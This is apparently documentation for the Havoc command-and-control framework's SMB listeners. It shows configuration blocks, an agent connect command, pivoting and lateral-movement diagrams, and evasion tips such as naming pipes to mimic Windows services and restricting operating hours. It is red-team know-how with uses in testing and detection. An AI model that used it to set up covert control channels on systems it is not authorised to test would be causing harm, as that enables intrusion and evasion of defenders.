SMB Listeners

Documentation Index

Fetch the complete documentation index at: https://mintlify.com/HavocFramework/Havoc/llms.txt

Use this file to discover all available pages before exploring further.

​

Overview

• Pivot through compromised systems
• Communicate with agents that cannot directly reach the teamserver
• Operate in environments with strict egress filtering
• Establish covert channels within internal networks

​

Basic Configuration

Listeners {
    Smb {
        Name     = "Pivot Listener"
        PipeName = "msagent_pipe"
    }
}

​

Configuration Options

Name = "Internal Pivot"

PipeName = "msagent_pipe"
PipeName = "MSSE-1337-server"
PipeName = "status_update"

​

Operational Security

KillDate = "2024-12-31 23:59:59"

WorkingHours = "08:00-17:00"  # Business hours only

​

Configuration Examples

​

Basic SMB Listener

Listeners {
    Smb {
        Name     = "SMB Pivot"
        PipeName = "demon_pipe"
    }
}

​

Multiple SMB Listeners

Listeners {
    Smb {
        Name     = "Primary Pivot"
        PipeName = "msagent_primary"
    }
    
    Smb {
        Name     = "Secondary Pivot"
        PipeName = "msagent_backup"
    }
}

​

SMB with Operational Security Controls

Listeners {
    Smb {
        Name         = "Time-Limited Pivot"
        PipeName     = "MSSE-1337-server"
        KillDate     = "2024-06-30 23:59:59"
        WorkingHours = "09:00-17:00"
    }
}

​

Combined HTTP and SMB Setup

Listeners {
    Http {
        Name         = "External C2"
        Hosts        = ["c2.example.com"]
        HostBind     = "0.0.0.0"
        PortBind     = 443
        PortConn     = 443
        Secure       = true
        UserAgent    = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
        
        Uris = [
            "/api/v1/updates"
        ]
    }
    
    Smb {
        Name     = "Internal Pivot"
        PipeName = "demon_pipe"
    }
}

​

How SMB Listeners Work

​

Parent-Child Relationship

1. Parent Agent: An existing agent with HTTP/HTTPS teamserver connectivity
2. Child Agent: A newly deployed agent configured to use the SMB listener
3. Named Pipe: The parent creates a named pipe that the child connects to
4. Relay: The parent relays commands from the teamserver to the child and returns results

[Teamserver] <--HTTPS--> [Parent Agent] <--Named Pipe--> [Child Agent]
                         (Web Server)                    (Internal Host)

​

Connection Flow

1. Parent agent receives instructions to start SMB listener
2. Parent creates named pipe with the configured PipeName
3. Child agent (deployed via lateral movement) connects to parent’s named pipe
4. Bidirectional communication established through the pipe
5. Parent relays all teamserver communications to/from child

​

Use Cases

​

Lateral Movement

Internet → [Teamserver] → HTTP Listener → [DMZ Server]
                                              ↓ SMB
                                         [Internal Workstation]
                                              ↓ SMB  
                                         [Domain Controller]

​

Egress Filtering Bypass

• Deploy initial agent on an edge system with internet access (parent)
• Use SMB listener for communication with internal systems (children)
• Children communicate through parent without direct internet access

​

Segmented Network Pivoting

[Teamserver] ← HTTP → [Gateway Host]
                           ↓ SMB
                      [Segment A Host] ← SMB → [Segment B Host]

​

Operational Workflow

​

1. Configure SMB Listener in Profile

Listeners {
    Smb {
        Name     = "Lateral Movement"
        PipeName = "msagent_pipe"
    }
}

​

2. Deploy Parent Agent

​

3. Start SMB Server on Parent

demon> connect --smb <listener_name> <pipe_name>

​

4. Deploy Child Agent

• Select the SMB listener when generating the payload
• Specify the parent agent’s hostname/IP
• Deploy using your preferred lateral movement technique

​

5. Child Connects

​

Security Considerations

​

Named Pipe Selection

• ntsvcs
• msagent_*
• MSSE-*-server
• status_*
• PSHost.*
• Winsock2\CatalogChangeListener-*

​

Network Detection

• Travels over SMB protocol (TCP 445 or 139)
• Appears as named pipe communication
• May trigger alerts if EDR monitors pipe creation
• Consider frequency and volume of traffic

​

Access Controls

• Parent agent’s user context determines pipe permissions
• Child must have appropriate access to connect
• Consider domain trust relationships
• Elevated privileges may be required

​

Troubleshooting

​

Child Agent Won’t Connect

Test-NetConnection -ComputerName <parent_host> -Port 445

Get-ChildItem \\<parent_host>\pipe\

• SMB ports (445, 139) blocked by firewall
• Parent agent not running or SMB server not started
• Incorrect pipe name configuration
• Insufficient permissions to access named pipe
• SMB signing requirements in domain environment

​

Connection Drops

• Parent agent terminated or lost teamserver connection
• Network instability between parent and child
• Antivirus/EDR detected and killed process
• Session timeout due to inactivity

​

Performance Issues

• Multiple hops create latency (teamserver → parent → child)
• Large file transfers slow over named pipes
• Consider using HTTP listener if direct connectivity is possible
• Limit number of children per parent to avoid bottlenecks

​

Best Practices

1. Use Descriptive Names: Choose listener names that describe their purpose (e.g., “DMZ Pivot”, “Finance Subnet”)
2. Blend In: Select pipe names that mimic legitimate Windows services
3. Limit Depth: Avoid deep parent-child chains (e.g., parent → child → grandchild → great-grandchild)
4. Monitor Health: Regularly check parent agent connectivity to prevent orphaned children
5. Document Relationships: Track which agents are parents/children for operational awareness
6. Combine with HTTP: Use HTTP for initial access and SMB for lateral expansion
7. Test Connectivity: Verify SMB port accessibility before deploying child agents
8. Set Time Limits: Use KillDate and WorkingHours to automatically manage operational windows

​

Advanced Scenarios

​

Multi-Level Pivoting

[Teamserver]
      ↓ HTTPS
   [Edge Host]
      ↓ SMB  
  [Internal A]
      ↓ SMB
  [Internal B]

​

Redundant Paths

        [Teamserver]
           ↓ HTTPS
        [Parent]
         ↙    ↘ SMB
  [Child A]  [Child B]
         ↘    ↙ SMB
        [Target]